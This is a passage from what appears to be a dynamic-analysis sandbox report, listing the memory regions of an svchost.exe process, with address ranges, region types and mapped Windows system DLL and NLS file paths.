0x2800000 end_va = 0x28fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002800000" filename = "" Region: id = 2846 start_va = 0x2900000 end_va = 0x29fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002900000" filename = "" Region: id = 2847 start_va = 0x2a00000 end_va = 0x2afffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002a00000" filename = "" Region: id = 2848 start_va = 0x2b00000 end_va = 0x2bfffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002b00000" filename = "" Region: id = 2849 start_va = 0x2c00000 end_va = 0x2c8dfff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "{ddf571f2-be98-426d-8288-1a9a39c3fda2}.2.ver0x0000000000000001.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\{DDF571F2-BE98-426D-8288-1A9A39C3FDA2}.2.ver0x0000000000000001.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\{ddf571f2-be98-426d-8288-1a9a39c3fda2}.2.ver0x0000000000000001.db") Region: id = 2850 start_va = 0x2c90000 end_va = 0x2d0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002c90000" filename = "" Region: id = 2851 start_va = 0x2d10000 end_va = 0x2e0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002d10000" filename = "" Region: id = 2852 start_va = 0x2e10000 end_va = 0x2f0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002e10000" filename = "" Region: id = 2853 start_va = 0x2f10000 end_va = 0x2f8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002f10000" filename = "" Region: id = 2854 start_va = 0x2f90000 end_va = 0x2fa0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "c_1257.nls" filename = "\\Windows\\System32\\C_1257.NLS" (normalized: "c:\\windows\\system32\\c_1257.nls") Region: id = 2855 start_va = 0x2fb0000 end_va = 0x2fc0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "c_1255.nls" filename = "\\Windows\\System32\\C_1255.NLS" (normalized: "c:\\windows\\system32\\c_1255.nls") Region: id = 2856 start_va = 0x2fd0000 end_va = 0x2fd6fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002fd0000" filename = "" Region: id = 2857 start_va = 0x2fe0000 end_va = 0x30dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002fe0000" filename = "" Region: id = 2858 start_va = 0x30e0000 end_va = 0x3107fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "c_932.nls" filename = "\\Windows\\System32\\C_932.NLS" (normalized: "c:\\windows\\system32\\c_932.nls") Region: id = 2859 start_va = 0x3110000 end_va = 0x3140fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "c_949.nls" filename = "\\Windows\\System32\\C_949.NLS" (normalized: "c:\\windows\\system32\\c_949.nls") Region: id = 2860 start_va = 0x3150000 end_va = 0x3160fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "c_874.nls" filename = "\\Windows\\System32\\C_874.NLS" (normalized: "c:\\windows\\system32\\c_874.nls") Region: id = 2861 start_va = 0x3170000 end_va = 0x3180fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "c_1258.nls" filename = "\\Windows\\System32\\C_1258.NLS" (normalized: "c:\\windows\\system32\\c_1258.nls") Region: id = 2862 start_va = 0x3190000 end_va = 0x328ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003190000" filename = "" Region: id = 2863 start_va = 0x3290000 end_va = 0x330ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003290000" filename = "" Region: id = 2864 start_va = 0x3310000 end_va = 0x3340fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "c_936.nls" filename = "\\Windows\\System32\\C_936.NLS" (normalized: "c:\\windows\\system32\\c_936.nls") Region: id = 2865 start_va = 0x3350000 end_va = 0x3380fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "c_950.nls" filename = "\\Windows\\System32\\C_950.NLS" (normalized: "c:\\windows\\system32\\c_950.nls") Region: id = 2866 start_va = 0x3390000 end_va = 0x3396fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003390000" filename = "" Region: id = 2867 start_va = 0x3480000 end_va = 0x3486fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003480000" filename = "" Region: id = 2868 start_va = 0x3570000 end_va = 0x35effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003570000" filename = "" Region: id = 2869 start_va = 0x3670000 end_va = 0x376ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003670000" filename = "" Region: id = 2870 start_va = 0x3770000 end_va = 0x386ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003770000" filename = "" Region: id = 2871 start_va = 0x3870000 end_va = 0x38effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003870000" filename = "" Region: id = 2872 start_va = 0x3900000 end_va = 0x39fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003900000" filename = "" Region: id = 2873 start_va = 0x3a00000 end_va = 0x3afffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003a00000" filename = "" Region: id = 2874 start_va = 0x3b00000 end_va = 0x3bfffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003b00000" filename = "" Region: id = 2875 start_va = 0x3c00000 end_va = 0x3c7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003c00000" filename = "" Region: id = 2876 start_va = 0x3d00000 end_va = 0x3dfffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003d00000" filename = "" Region: id = 2877 start_va = 0x3e00000 end_va = 0x3e7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003e00000" filename = "" Region: id = 2878 start_va = 0x3f00000 end_va = 0x3ffffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003f00000" filename = "" Region: id = 2879 start_va = 0x4000000 end_va = 0x40fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004000000" filename = "" Region: id = 2880 start_va = 0x4100000 end_va = 0x41fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004100000" filename = "" Region: id = 2881 start_va = 0x4200000 end_va = 0x42fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004200000" filename = "" Region: id = 2882 start_va = 0x4300000 end_va = 0x43fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004300000" filename = "" Region: id = 2883 start_va = 0x4400000 end_va = 0x44fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004400000" filename = "" Region: id = 2884 start_va = 0x4500000 end_va = 0x45fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004500000" filename = "" Region: id = 2885 start_va = 0x4600000 end_va = 0x46fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004600000" filename = "" Region: id = 2886 start_va = 0x4700000 end_va = 0x47fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004700000" filename = "" Region: id = 2887 start_va = 0x4800000 end_va = 0x48fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004800000" filename = "" Region: id = 2888 start_va = 0x4900000 end_va = 0x49fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004900000" filename = "" Region: id = 2889 start_va = 0x4a00000 end_va = 0x4afffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004a00000" filename = "" Region: id = 2890 start_va = 0x4b00000 end_va = 0x4bfffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004b00000" filename = "" Region: id = 2891 start_va = 0x4c00000 end_va = 0x4cfffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004c00000" filename = "" Region: id = 2892 start_va = 0x4e00000 end_va = 0x4efffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004e00000" filename = "" Region: id = 2893 start_va = 0x5200000 end_va = 0x52fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005200000" filename = "" Region: id = 2894 start_va = 0x5300000 end_va = 0x53fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005300000" filename = "" Region: id = 2895 start_va = 0x5400000 end_va = 0x54fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005400000" filename = "" Region: id = 2896 start_va = 0x5600000 end_va = 0x56fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005600000" filename = "" Region: id = 2897 start_va = 0x5700000 end_va = 0x57fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005700000" filename = "" Region: id = 2898 start_va = 0x5a00000 end_va = 0x5afffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005a00000" filename = "" Region: id = 2899 start_va = 0x5e00000 end_va = 0x5efffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005e00000" filename = "" Region: id = 2900 start_va = 0x5f00000 end_va = 0x5ffffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005f00000" filename = "" Region: id = 2901 start_va = 0x6000000 end_va = 0x60fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000006000000" filename = "" Region: id = 2902 start_va = 0x6100000 end_va = 0x61fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000006100000" filename = "" Region: id = 2903 start_va = 0x6200000 end_va = 0x62fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000006200000" filename = "" Region: id = 2904 start_va = 0x6300000 end_va = 0x63fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000006300000" filename = "" Region: id = 2905 start_va = 0x6400000 end_va = 0x64fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000006400000" filename = "" Region: id = 2906 start_va = 0x6500000 end_va = 0x65fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000006500000" filename = "" Region: id = 2907 start_va = 0x6600000 end_va = 0x66fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000006600000" filename = "" Region: id = 2908 start_va = 0x6700000 end_va = 0x67fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000006700000" filename = "" Region: id = 2909 start_va = 0x6800000 end_va = 0x68fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000006800000" filename = "" Region: id = 2910 start_va = 0x6900000 end_va = 0x69fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000006900000" filename = "" Region: id = 2911 start_va = 0x6a00000 end_va = 0x6afffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000006a00000" filename = "" Region: id = 2912 start_va = 0x6b00000 end_va = 0x6bfffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000006b00000" filename = "" Region: id = 2913 start_va = 0x6c00000 end_va = 0x6cfffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000006c00000" filename = "" Region: id = 2914 start_va = 0x6e00000 end_va = 0x6efffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000006e00000" filename = "" Region: id = 2915 start_va = 0x6f00000 end_va = 0x6ffffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000006f00000" filename = "" Region: id = 2916 start_va = 0x7000000 end_va = 0x70fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000007000000" filename = "" Region: id = 2917 start_va = 0x7100000 end_va = 0x71fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000007100000" filename = "" Region: id = 2918 start_va = 0x7200000 end_va = 0x72fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000007200000" filename = "" Region: id = 2919 start_va = 0x7300000 end_va = 0x73fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000007300000" filename = "" Region: id = 2920 start_va = 0x7400000 end_va = 0x74fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000007400000" filename = "" Region: id = 2921 start_va = 0x7500000 end_va = 0x75fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000007500000" filename = "" Region: id = 2922 start_va = 0x7700000 end_va = 0x77fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000007700000" filename = "" Region: id = 2923 start_va = 0x7900000 end_va = 0x79fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000007900000" filename = "" Region: id = 2924 start_va = 0x8b00000 end_va = 0x8bfffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000008b00000" filename = "" Region: id = 2925 start_va = 0x8c00000 end_va = 0x8cfffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000008c00000" filename = "" Region: id = 2926 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 2927 start_va = 0x7df5ffec0000 end_va = 0x7df5fffbffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007df5ffec0000" filename = "" Region: id = 2928 start_va = 0x7df5fffc0000 end_va = 0x7df5fffe2fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007df5fffc0000" filename = "" Region: id = 2929 start_va = 0x7df5ffff0000 end_va = 0x7ff5fffeffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007df5ffff0000" filename = "" Region: id = 2930 start_va = 0x7ff681250000 end_va = 0x7ff68125cfff monitored = 0 entry_point = 0x7ff681253980 region_type = mapped_file name = "svchost.exe" filename = "\\Windows\\System32\\svchost.exe" (normalized: "c:\\windows\\system32\\svchost.exe") Region: id = 2931 start_va = 0x7ff9fc290000 end_va = 0x7ff9fc2a6fff monitored = 0 entry_point = 0x7ff9fc297520 region_type = mapped_file name = "usoapi.dll" filename = "\\Windows\\System32\\usoapi.dll" (normalized: "c:\\windows\\system32\\usoapi.dll") Region: id = 2932 start_va = 0x7ff9fc2b0000 end_va = 0x7ff9fc384fff monitored = 0 entry_point = 0x7ff9fc2ccf80 region_type = mapped_file name = "wuapi.dll" filename = "\\Windows\\System32\\wuapi.dll" (normalized: "c:\\windows\\system32\\wuapi.dll") Region: id = 2933 start_va = 0x7ff9fc390000 end_va = 0x7ff9fc63ffff monitored = 0 entry_point = 0x7ff9fc391cf0 region_type = mapped_file name = "netshell.dll" filename = "\\Windows\\System32\\netshell.dll" (normalized: "c:\\windows\\system32\\netshell.dll") Region: id = 2934 start_va = 0x7ff9fc640000 end_va = 0x7ff9fc683fff monitored = 0 entry_point = 0x7ff9fc6683e0 region_type = mapped_file name = "updatehandlers.dll" filename = "\\Windows\\System32\\updatehandlers.dll" (normalized: "c:\\windows\\system32\\updatehandlers.dll") Region: id = 2935 start_va = 0x7ff9fc690000 end_va = 0x7ff9fc6b1fff monitored = 0 entry_point = 0x7ff9fc6a2540 region_type = mapped_file name = "updatepolicy.dll" filename = "\\Windows\\System32\\updatepolicy.dll" (normalized: "c:\\windows\\system32\\updatepolicy.dll") Region: id = 2936 start_va = 0x7ff9fc6c0000 end_va = 0x7ff9fc6d7fff monitored = 0 entry_point = 0x7ff9fc6cb850 region_type = mapped_file name = "dmcmnutils.dll" filename = "\\Windows\\System32\\dmcmnutils.dll" (normalized: "c:\\windows\\system32\\dmcmnutils.dll") Region: id = 2937 start_va = 0x7ff9fc6e0000 end_va = 0x7ff9fc73cfff monitored = 0 entry_point = 0x7ff9fc70e510 region_type = mapped_file name = "usocore.dll" filename = "\\Windows\\System32\\usocore.dll" (normalized: "c:\\windows\\system32\\usocore.dll") Region: id = 2938 start_va = 0x7ff9fe1b0000 end_va = 0x7ff9fe1eefff monitored = 0 entry_point = 0x7ff9fe1d82d0 region_type = mapped_file name = "tcpipcfg.dll" filename = "\\Windows\\System32\\tcpipcfg.dll" (normalized: "c:\\windows\\system32\\tcpipcfg.dll") Region: id = 2939 start_va = 0x7ff9fe230000 end_va = 0x7ff9fe241fff monitored = 0 entry_point = 0x7ff9fe231a80 region_type = mapped_file name = "bitsproxy.dll" filename = "\\Windows\\System32\\BitsProxy.dll" (normalized: "c:\\windows\\system32\\bitsproxy.dll") Region: id = 2940 start_va = 0x7ff9fe2a0000 end_va = 0x7ff9fe31ffff monitored = 0 entry_point = 0x7ff9fe2cd280 region_type = mapped_file name = "webio.dll" filename = "\\Windows\\System32\\webio.dll" (normalized: "c:\\windows\\system32\\webio.dll") Region: id = 2941 start_va = 0x7ff9ff5e0000 end_va = 0x7ff9ff5f0fff monitored = 0 entry_point = 0x7ff9ff5e28d0 region_type = mapped_file name = "credentialmigrationhandler.dll" filename = "\\Windows\\System32\\CredentialMigrationHandler.dll" (normalized: "c:\\windows\\system32\\credentialmigrationhandler.dll") Region: id = 2942 start_va = 0x7ff9ff600000 end_va = 0x7ff9ff631fff monitored = 0 entry_point = 0x7ff9ff60b0c0 region_type = mapped_file name = "shacct.dll" filename = "\\Windows\\System32\\shacct.dll" (normalized: "c:\\windows\\system32\\shacct.dll") Region: id = 2943 start_va = 0x7ff9ffac0000 end_va = 0x7ff9ffbcefff monitored = 0 entry_point = 0x7ff9ffafc010 region_type = mapped_file name = "dosvc.dll" filename = "\\Windows\\System32\\dosvc.dll" (normalized: "c:\\windows\\system32\\dosvc.dll") Region: id = 2944 start_va = 0x7ff9ffd40000 end_va = 0x7ff9ffd75fff monitored = 0 entry_point = 0x7ff9ffd427f0 region_type = mapped_file name = "windows.networking.hostname.dll" filename = "\\Windows\\System32\\Windows.Networking.HostName.dll" (normalized: "c:\\windows\\system32\\windows.networking.hostname.dll") Region: id = 2945 start_va = 0x7ff9ffe60000 end_va = 0x7ff9ffec6fff monitored = 0 entry_point = 0x7ff9ffe6b160 region_type = mapped_file name = "upnp.dll" filename = "\\Windows\\System32\\upnp.dll" (normalized: "c:\\windows\\system32\\upnp.dll") Region: id = 2946 start_va = 0x7ffa001f0000 end_va = 0x7ffa0030cfff monitored = 0 entry_point = 0x7ffa0021fe60 region_type = mapped_file name = "qmgr.dll" filename = "\\Windows\\System32\\qmgr.dll" (normalized: "c:\\windows\\system32\\qmgr.dll") Region: id = 2947 start_va = 0x7ffa01270000 end_va = 0x7ffa0128cfff monitored = 0 entry_point = 0x7ffa01274f60 region_type = mapped_file name = "appinfo.dll" filename = "\\Windows\\System32\\appinfo.dll" (normalized: "c:\\windows\\system32\\appinfo.dll") Region: id = 2948 start_va = 0x7ffa01690000 end_va = 0x7ffa016a3fff monitored = 0 entry_point = 0x7ffa01693710 region_type = mapped_file name = "mskeyprotect.dll" filename = "\\Windows\\System32\\mskeyprotect.dll" (normalized: "c:\\windows\\system32\\mskeyprotect.dll") Region: id = 2949 start_va = 0x7ffa01740000 end_va = 0x7ffa0175dfff monitored = 0 entry_point = 0x7ffa0174ef80 region_type = mapped_file name = "ncryptsslp.dll" filename = "\\Windows\\System32\\ncryptsslp.dll" (normalized: "c:\\windows\\system32\\ncryptsslp.dll") Region: id = 2950 start_va = 0x7ffa04070000 end_va = 0x7ffa04077fff monitored = 0 entry_point = 0x7ffa040713b0 region_type = mapped_file name = "dmiso8601utils.dll" filename = "\\Windows\\System32\\dmiso8601utils.dll" (normalized: "c:\\windows\\system32\\dmiso8601utils.dll") Region: id = 2951 start_va = 0x7ffa069a0000 end_va = 0x7ffa069b5fff monitored = 0 entry_point = 0x7ffa069a1d50 region_type = mapped_file name = "wwapi.dll" filename = "\\Windows\\System32\\wwapi.dll" (normalized: "c:\\windows\\system32\\wwapi.dll") Region: id = 2952 start_va = 0x7ffa07a20000 end_va = 0x7ffa07a30fff monitored = 0 entry_point = 0x7ffa07a27480 region_type = mapped_file name = "tetheringclient.dll" filename = "\\Windows\\System32\\tetheringclient.dll" (normalized: "c:\\windows\\system32\\tetheringclient.dll") Region: id = 2953 start_va = 0x7ffa07a40000 end_va = 0x7ffa07ac3fff monitored = 0 entry_point = 0x7ffa07a58d50 region_type = mapped_file name = "wbemess.dll" filename = "\\Windows\\System32\\wbem\\wbemess.dll" (normalized: "c:\\windows\\system32\\wbem\\wbemess.dll") Region: id = 2954 start_va = 0x7ffa07ad0000 end_va = 0x7ffa07ae5fff monitored = 0 entry_point = 0x7ffa07ad55e0 region_type = mapped_file name = "ncobjapi.dll" filename = "\\Windows\\System32\\ncobjapi.dll" (normalized: "c:\\windows\\system32\\ncobjapi.dll") Region: id = 2955 start_va = 0x7ffa07af0000 end_va = 0x7ffa07bc5fff monitored = 0 entry_point = 0x7ffa07b1a800 region_type = mapped_file name = "wmiprvsd.dll" filename = "\\Windows\\System32\\wbem\\WmiPrvSD.dll" (normalized: "c:\\windows\\system32\\wbem\\wmiprvsd.dll") Region: id = 2956 start_va = 0x7ffa07c20000 end_va = 0x7ffa07c83fff monitored = 0 entry_point = 0x7ffa07c3bed0 region_type = mapped_file name = "repdrvfs.dll" filename = "\\Windows\\System32\\wbem\\repdrvfs.dll" (normalized: "c:\\windows\\system32\\wbem\\repdrvfs.dll") Region: id = 2957 start_va = 0x7ffa07c90000 end_va = 0x7ffa07cb4fff monitored = 0 entry_point = 0x7ffa07c99900 region_type = mapped_file name = "wmiutils.dll" filename = "\\Windows\\System32\\wbem\\wmiutils.dll" (normalized: "c:\\windows\\system32\\wbem\\wmiutils.dll") Region: id = 2958 start_va = 0x7ffa07cc0000 end_va = 0x7ffa07cd3fff monitored = 0 entry_point = 0x7ffa07cc1800 region_type = mapped_file name = "wbemsvc.dll" filename = "\\Windows\\System32\\wbem\\wbemsvc.dll" (normalized: "c:\\windows\\system32\\wbem\\wbemsvc.dll") Region: id = 2959 start_va = 0x7ffa07ce0000 end_va = 0x7ffa07dd5fff monitored = 0 entry_point = 0x7ffa07d19590 region_type = mapped_file name = "fastprox.dll" filename = "\\Windows\\System32\\wbem\\fastprox.dll" (normalized: "c:\\windows\\system32\\wbem\\fastprox.dll") Region: id = 2960 start_va = 0x7ffa07de0000 end_va = 0x7ffa07e53fff monitored = 0 entry_point = 0x7ffa07df5eb0 region_type = mapped_file name = "esscli.dll" filename = "\\Windows\\System32\\wbem\\esscli.dll" (normalized: "c:\\windows\\system32\\wbem\\esscli.dll") Region: id = 2961 start_va = 0x7ffa07e60000 end_va = 0x7ffa07f96fff monitored = 0 entry_point = 0x7ffa07ea0480 region_type = mapped_file name = "wbemcore.dll" filename = "\\Windows\\System32\\wbem\\wbemcore.dll" (normalized: "c:\\windows\\system32\\wbem\\wbemcore.dll") Region: id = 2962 start_va = 0x7ffa08390000 end_va = 0x7ffa083a0fff monitored = 0 entry_point = 0x7ffa08392fc0 region_type = mapped_file name = "wbemprox.dll" filename = "\\Windows\\System32\\wbem\\wbemprox.dll" (normalized: "c:\\windows\\system32\\wbem\\wbemprox.dll") Region: id = 2963 start_va = 0x7ffa083b0000 end_va = 0x7ffa083cdfff monitored = 0 entry_point = 0x7ffa083b3a40 region_type = mapped_file name = "atl.dll" filename = "\\Windows\\System32\\atl.dll" (normalized: "c:\\windows\\system32\\atl.dll") Region: id = 2964 start_va = 0x7ffa083d0000 end_va = 0x7ffa08451fff monitored = 0 entry_point = 0x7ffa083d2a10 region_type = mapped_file name = "hnetcfg.dll" filename = "\\Windows\\System32\\hnetcfg.dll" (normalized: "c:\\windows\\system32\\hnetcfg.dll") Region: id = 2965 start_va = 0x7ffa08460000 end_va = 0x7ffa08475fff monitored = 0 entry_point = 0x7ffa08461af0 region_type = mapped_file name = "napinsp.dll" filename = "\\Windows\\System32\\NapiNSP.dll" (normalized: "c:\\windows\\system32\\napinsp.dll") Region: id = 2966 start_va = 0x7ffa08480000 end_va = 0x7ffa08499fff monitored = 0 entry_point = 0x7ffa08482330 region_type = mapped_file name = "pnrpnsp.dll" filename = "\\Windows\\System32\\pnrpnsp.dll" (normalized: "c:\\windows\\system32\\pnrpnsp.dll") Region: id = 2967 start_va = 0x7ffa088d0000 end_va = 0x7ffa08915fff monitored = 0 entry_point = 0x7ffa088d79a0 region_type = mapped_file name = "adsldp.dll" filename = "\\Windows\\System32\\adsldp.dll" (normalized: "c:\\windows\\system32\\adsldp.dll") Region: id = 2968 start_va = 0x7ffa08940000 end_va = 0x7ffa0894efff monitored = 0 entry_point = 0x7ffa08944960 region_type = mapped_file name = "nci.dll" filename = "\\Windows\\System32\\nci.dll" (normalized: "c:\\windows\\system32\\nci.dll") Region: id = 2969 start_va = 0x7ffa08a00000 end_va = 0x7ffa08a0bfff monitored = 0 entry_point = 0x7ffa08a035c0 region_type = mapped_file name = "secur32.dll" filename = "\\Windows\\System32\\secur32.dll" (normalized: "c:\\windows\\system32\\secur32.dll") Region: id = 2970 start_va = 0x7ffa08a10000 end_va = 0x7ffa08a4ffff monitored = 0 entry_point = 0x7ffa08a1cbe0 region_type = mapped_file name = "adsldpc.dll" filename = "\\Windows\\System32\\adsldpc.dll" (normalized: "c:\\windows\\system32\\adsldpc.dll") Region: id = 2971 start_va = 0x7ffa08a50000 end_va = 0x7ffa08a96fff monitored = 0 entry_point = 0x7ffa08a51d10 region_type = mapped_file name = "activeds.dll" filename = "\\Windows\\System32\\activeds.dll" (normalized: "c:\\windows\\system32\\activeds.dll") Region: id = 2972 start_va = 0x7ffa08ae0000 end_va = 0x7ffa08b21fff monitored = 0 entry_point = 0x7ffa08ae3670 region_type = mapped_file name = "wdscore.dll" filename = "\\Windows\\System32\\wdscore.dll" (normalized: "c:\\windows\\system32\\wdscore.dll") Region: id = 2973 start_va = 0x7ffa08e00000 end_va = 0x7ffa08e1efff monitored = 0 entry_point = 0x7ffa08e037e0 region_type = mapped_file name = "netsetupapi.dll" filename = "\\Windows\\System32\\NetSetupApi.dll" (normalized: "c:\\windows\\system32\\netsetupapi.dll") Region: id = 2974 start_va = 0x7ffa08e20000 end_va = 0x7ffa08e98fff monitored = 0 entry_point = 0x7ffa08e276a0 region_type = mapped_file name = "netsetupshim.dll" filename = "\\Windows\\System32\\NetSetupShim.dll" (normalized: "c:\\windows\\system32\\netsetupshim.dll") Region: id = 2975 start_va = 0x7ffa08eb0000 end_va = 0x7ffa08eeffff monitored = 0 entry_point = 0x7ffa08ec6c60 region_type = mapped_file name = "netprofm.dll" filename = "\\Windows\\System32\\netprofm.dll" (normalized: "c:\\windows\\system32\\netprofm.dll") Region: id = 2976 start_va = 0x7ffa08f10000 end_va = 0x7ffa08f27fff monitored = 0 entry_point = 0x7ffa08f14e10 region_type = mapped_file name = "adhsvc.dll" filename = "\\Windows\\System32\\adhsvc.dll" (normalized: "c:\\windows\\system32\\adhsvc.dll") Region: id = 2977 start_va = 0x7ffa08f30000 end_va = 0x7ffa08f54fff monitored = 0 entry_point = 0x7ffa08f35ca0 region_type = mapped_file name = "httpprxm.dll" filename = "\\Windows\\System32\\httpprxm.dll" (normalized: "c:\\windows\\system32\\httpprxm.dll") Region: id = 2978 start_va = 0x7ffa08f60000 end_va = 0x7ffa090e1fff monitored = 0 entry_point = 0x7ffa08f782a0 region_type = mapped_file name = "vssapi.dll" filename = "\\Windows\\System32\\vssapi.dll" (normalized: "c:\\windows\\system32\\vssapi.dll") Region: id = 2979 start_va = 0x7ffa090f0000 end_va = 0x7ffa09192fff monitored = 0 entry_point = 0x7ffa090f2c10 region_type = mapped_file name = "clusapi.dll" filename = "\\Windows\\System32\\clusapi.dll" (normalized: "c:\\windows\\system32\\clusapi.dll") Region: id = 2980 start_va = 0x7ffa091a0000 end_va = 0x7ffa091f1fff monitored = 0 entry_point = 0x7ffa091a5770 region_type = mapped_file name = "resutils.dll" filename = "\\Windows\\System32\\resutils.dll" (normalized: "c:\\windows\\system32\\resutils.dll") Region: id = 2981 start_va = 0x7ffa09200000 end_va = 0x7ffa0922dfff monitored = 1 entry_point = 0x7ffa09202300 region_type = mapped_file name = "wmidcom.dll" filename = "\\Windows\\System32\\wmidcom.dll" (normalized: "c:\\windows\\system32\\wmidcom.dll") Region: id = 2982 start_va = 0x7ffa09230000 end_va = 0x7ffa0928dfff monitored = 0 entry_point = 0x7ffa09235080 region_type = mapped_file name = "miutils.dll" filename = "\\Windows\\System32\\miutils.dll" (normalized: "c:\\windows\\system32\\miutils.dll") Region: id = 2983 start_va = 0x7ffa09290000 end_va = 0x7ffa092affff monitored = 0 entry_point = 0x7ffa09291f50 region_type = mapped_file name = "mi.dll" filename = "\\Windows\\System32\\mi.dll" (normalized: "c:\\windows\\system32\\mi.dll") Region: id = 2984 start_va = 0x7ffa092b0000 end_va = 0x7ffa092b8fff monitored = 0 entry_point = 0x7ffa092b18f0 region_type = mapped_file name = "sscoreext.dll" filename = "\\Windows\\System32\\sscoreext.dll" (normalized: "c:\\windows\\system32\\sscoreext.dll") Region: id = 2985 start_va = 0x7ffa092c0000 end_va = 0x7ffa092d0fff monitored = 0 entry_point = 0x7ffa092c1d30 region_type = mapped_file name = "sscore.dll" filename = "\\Windows\\System32\\sscore.dll" (normalized: "c:\\windows\\system32\\sscore.dll") Region: id = 2986 start_va = 0x7ffa09330000 end_va = 0x7ffa09347fff monitored = 0 entry_point = 0x7ffa09332000 region_type = mapped_file name = "vsstrace.dll" filename = "\\Windows\\System32\\vsstrace.dll" (normalized: "c:\\windows\\system32\\vsstrace.dll") Region: id = 2987 start_va = 0x7ffa09350000 end_va = 0x7ffa09390fff monitored = 0 entry_point = 0x7ffa09353750 region_type = mapped_file name = "sqmapi.dll" filename = "\\Windows\\System32\\sqmapi.dll" (normalized: "c:\\windows\\system32\\sqmapi.dll") Region: id = 2988 start_va = 0x7ffa09430000 end_va = 0x7ffa0947bfff monitored = 0 entry_point = 0x7ffa09445310 region_type = mapped_file name = "srvsvc.dll" filename = "\\Windows\\System32\\srvsvc.dll" 